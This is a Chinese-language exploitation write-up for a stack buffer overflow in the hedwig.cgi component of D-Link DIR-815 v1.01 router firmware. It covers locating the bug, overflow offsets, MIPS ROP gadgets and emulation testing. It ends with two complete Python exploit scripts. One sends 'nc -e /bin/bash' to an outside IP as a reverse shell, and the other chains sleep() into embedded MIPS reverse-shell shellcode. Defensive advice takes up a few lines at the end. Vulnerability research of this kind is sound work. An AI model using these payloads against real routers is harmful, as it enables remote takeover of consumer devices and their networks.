D-Link DIR815路由器缓冲区溢出漏洞再分析
字数 1894 2025-08-22 12:22:48
D-Link DIR815路由器缓冲区溢出漏洞分析与利用
漏洞概述
D-Link DIR815路由器1.01版本中存在一个缓冲区溢出漏洞,影响"hedwig.cgi" CGI脚本。未经认证的远程攻击者可以通过传递超长的Cookie值触发栈溢出,从而获得路由器的远程控制权限。
漏洞类型:栈缓冲区溢出
影响组件:hedwig.cgi(实际为cgibin)
漏洞函数:sprintf
触发条件:HTTP_COOKIE中uid=后的值过长
环境准备
调试工具
-
静态分析工具:
- IDA 6.8(带mipsrop插件)
- Ghidra(用于反编译mips架构程序)
-
动态调试工具:
- qemu 2.5(用户模式和系统模式)
- gdbserver(用于远程调试)
- gdb-multiarch(用于调试MIPS架构)
-
固件分析工具:
- binwalk(用于解压固件)
- Firmadyne(全系统仿真工具)
目标设备
- D-Link DIR-815 v1.01
- 固件下载地址:ftp://ftp2.dlink.com/PRODUCTS/DIR-815/REVA/DIR-815_FIRMWARE_1.01.ZIP
漏洞定位
-
使用binwalk解压固件:
binwalk -Me DIR-815_FIRMWARE_1.01.ZIP -
查找关键文件:
find . -name '*cgi' ls -l ./htdocs/web/hedwig.cgi发现hedwig.cgi是指向./htdocs/cgibin的符号链接
-
使用IDA/Ghidra分析cgibin:
- 搜索字符串"HTTP_COOKIE"
- 找到
sess_get_uid函数,该函数提取HTTP_COOKIE中"uid="后的部分 - 交叉引用找到
hedwigcgi_main函数
漏洞分析
漏洞代码
在hedwigcgi_main函数中存在两个关键的sprintf调用:
-
第一个sprintf:
sprintf(栈缓冲区, "%s/%s/postxml", "/runtime/session", uid内容);未对uid长度进行检查,导致栈溢出
-
第二个sprintf:
sprintf(另一个栈缓冲区, "%s/%s", "/var/tmp", uid内容);需要满足条件:存在/var/tmp目录且POST数据包含"uid=..."
触发条件
-
必须设置环境变量:
- REQUEST_METHOD="POST"
- HTTP_COOKIE="uid=超长字符串"
- CONTENT_LENGTH
- CONTENT_TYPE="application/x-www-form-urlencoded"
-
对于第二个sprintf,还需要:
- 存在/var/tmp目录
- POST数据中包含"uid=..."
漏洞利用
1. 确定偏移量
使用patternLocOffset.py生成测试字符串,通过调试确定溢出点:
-
第一个sprintf:
- 偏移量:1043字节
-
第二个sprintf:
- 偏移量:1009字节
2. 构造ROP链
方法一:调用system函数
-
定位libc基地址:
- 通过gdb调试获取:0x76738000
- system函数偏移:0x53200
-
关键gadget:
- gadget1 (0x45988): 将s0加1并跳转到s1
- gadget2 (0x159cc): 将栈上数据加载到a0并跳转到s0
-
构造payload:
padding = 'A' * offset padding += p32(libc_base + system_addr_1) # s0 padding += p32(libc_base + gadget2) # s1 padding += 'A' * 4 # s2-s7, fp padding += p32(libc_base + gadget1) # ra padding += 'B' * 0x10 padding += "/bin//sh"
方法二:调用sleep(1)后执行shellcode
-
关键gadget:
- gadget1 (0x57E50): 设置a0=1并跳转到s1
- gadget2 (0x3B8A8): 从栈加载ra并跳转到s2
- gadget3 (0x14F28): 从栈加载s1并跳转到s4
- gadget4 (0x1DD08): move \(t9,\)s1
-
shellcode:
shellcode = "\xff\xff\x04\x28\xa6\x0f\x02\x24\x0c\x09\x09\x01..." -
构造payload:
payload = 'A' * offset payload += 'A' * 4 # s0 payload += p32(libc_base + gadget2) # s1 payload += p32(libc_base + sleep) # s2 payload += 'A' * 4 # s3 payload += p32(libc_base + gadget4) # s4 payload += 'A' * 4 # s5-s7, fp payload += p32(libc_base + gadget1) # ra payload += 'B' * 0x24 payload += p32(libc_base + gadget3) # sp+0x24 payload += 'c' * 0x18 payload += shellcode
测试方法
1. QEMU用户模式测试
使用test.sh脚本:
#!/bin/bash
test=$(python -c "print 'uid='+open('test','r').read(2000)")
LEN=$(echo -n "$test" | wc -c)
PORT="23957"
cp $(which qemu-mipsel-static) ./qemu
sudo chroot . ./qemu -E CONTENT_LENGTH=$LEN \
-E CONTENT_TYPE="application/x-www-form-urlencoded" \
-E REQUEST_METHOD="POST" \
-E HTTP_COOKIE=$test \
-E REQUEST_URL="/hedwig.cgi" \
-E REMOTE_ADDR="127.0.0.1" \
-g $PORT /htdocs/web/hedwig.cgi 2>/dev/null
rm -f ./qemu
2. QEMU系统模式测试
-
配置网络:
sudo qemu-system-mipsel -M malta -kernel vmlinux-3.2.0-4-4kc-malta \ -hda debian_squeeze_mipsel_standard.qcow2 \ -append "root=/dev/sda1 console=tty0" \ -net nic -net tap -nographic -
配置HTTP服务:
- 修改httpcfg.php配置文件
- 设置正确的IP和端口
-
使用curl测试:
curl http://192.168.79.143:1234/hedwig.cgi -v -X POST \ -H "Content-Length: 8" -b "uid=zh"
3. Firmadyne仿真测试
- 启动仿真环境
- 扫描开放端口:
nmap -sV 192.168.0.1 - 使用构造的exp攻击
4. 实体机测试
- 刷写1.01版本固件
- 使用构造的payload攻击
完整利用代码
system函数利用
#!/usr/bin/python2
from pwn import *
context.endian = "little"
context.arch = "mips"
base_addr = 0x76738000
system_addr_1 = 0x53200-1
gadget1 = 0x45988
gadget2 = 0x159cc
cmd = 'nc -e /bin/bash 192.168.79.145 9999'
padding = 'A' * 973
padding += p32(base_addr + system_addr_1) # s0
padding += p32(base_addr + gadget2) # s1
padding += 'A' * 4 # s2
padding += 'A' * 4 # s3
padding += 'A' * 4 # s4
padding += 'A' * 4 # s5
padding += 'A' * 4 # s6
padding += 'A' * 4 # s7
padding += 'A' * 4 # fp
padding += p32(base_addr + gadget1) # ra
padding += 'B' * 0x10
padding += cmd
f = open("exploit", 'wb+')
f.write(padding)
f.close()
sleep(1)调用shellcode
#!/usr/bin/python2
from pwn import *
context.endian = "little"
context.arch = "mips"
shellcode = ""
shellcode += "\xff\xff\x04\x28\xa6\x0f\x02\x24\x0c\x09\x09\x01\x11\x11\x04\x28"
shellcode += "\xa6\x0f\x02\x24\x0c\x09\x09\x01\xfd\xff\x0c\x24\x27\x20\x80\x01"
shellcode += "\xa6\x0f\x02\x24\x0c\x09\x09\x01\xfd\xff\x0c\x24\x27\x20\x80\x01"
shellcode += "\x27\x28\x80\x01\xff\xff\x06\x28\x57\x10\x02\x24\x0c\x09\x09\x01"
shellcode += "\xff\xff\x44\x30\xc9\x0f\x02\x24\x0c\x09\x09\x01\xc9\x0f\x02\x24"
shellcode += "\x0c\x09\x09\x01\x79\x69\x05\x3c\x01\xff\xa5\x34\x01\x01\xa5\x20"
shellcode += "\xf8\xff\xa5\xaf\x4f\x91\x05\x3c\xc0\xa8\xa5\x34\xfc\xff\xa5\xaf"
shellcode += "\xf8\xff\xa5\x23\xef\xff\x0c\x24\x27\x30\x80\x01\x4a\x10\x02\x24"
shellcode += "\x0c\x09\x09\x01\x62\x69\x08\x3c\x2f\x2f\x08\x35\xec\xff\xa8\xaf"
shellcode += "\x73\x68\x08\x3c\x6e\x2f\x08\x35\xf0\xff\xa8\xaf\xff\xff\x07\x28"
shellcode += "\xf4\xff\xa7\xaf\xfc\xff\xa7\xaf\xec\xff\xa4\x23\xec\xff\xa8\x23"
shellcode += "\xf8\xff\xa8\xaf\xf8\xff\xa5\x23\xec\xff\xbd\x27\xff\xff\x06\x28"
shellcode += "\xab\x0f\x02\x24\x0c\x09\x09\x01"
libc_base = 0x77f34000
sleep = 0x56BD0
gadget1 = 0x57E50
gadget2 = 0x3B8A8
gadget3 = 0x14F28
gadget4 = 0x1DD08
payload = 'A' * 973
payload += 'A' * 4 # s0
payload += p32(libc_base + gadget2) # s1
payload += p32(libc_base + sleep) # s2
payload += 'A' * 4 # s3
payload += p32(libc_base + gadget4) # s4
payload += 'A' * 4 # s5
payload += 'A' * 4 # s6
payload += 'A' * 4 # s7
payload += 'A' * 4 # fp
payload += p32(libc_base + gadget1) # ra
payload += 'B' * 0x24
payload += p32(libc_base + gadget3) # sp+0x24
payload += 'c' * 0x18
payload += shellcode
f = open("exploit2", 'wb+')
f.write(payload)
f.close()
总结
-
漏洞关键点:
- hedwig.cgi中未对HTTP_COOKIE的uid参数进行长度检查
- 通过sprintf导致栈溢出
- 可以覆盖保存的返回地址
-
利用难点:
- MIPS架构的ROP构造
- 坏字符处理(如\x00)
- 缓存一致性问题(使用sleep解决)
-
防御建议:
- 对输入参数进行长度检查
- 使用更安全的字符串函数(如snprintf)
- 及时更新固件版本
参考资料
- 《揭秘家用路由器0day漏洞挖掘技术》
- H4lo师傅的分析文章
- Metasploit相关模块
- Firmadyne文档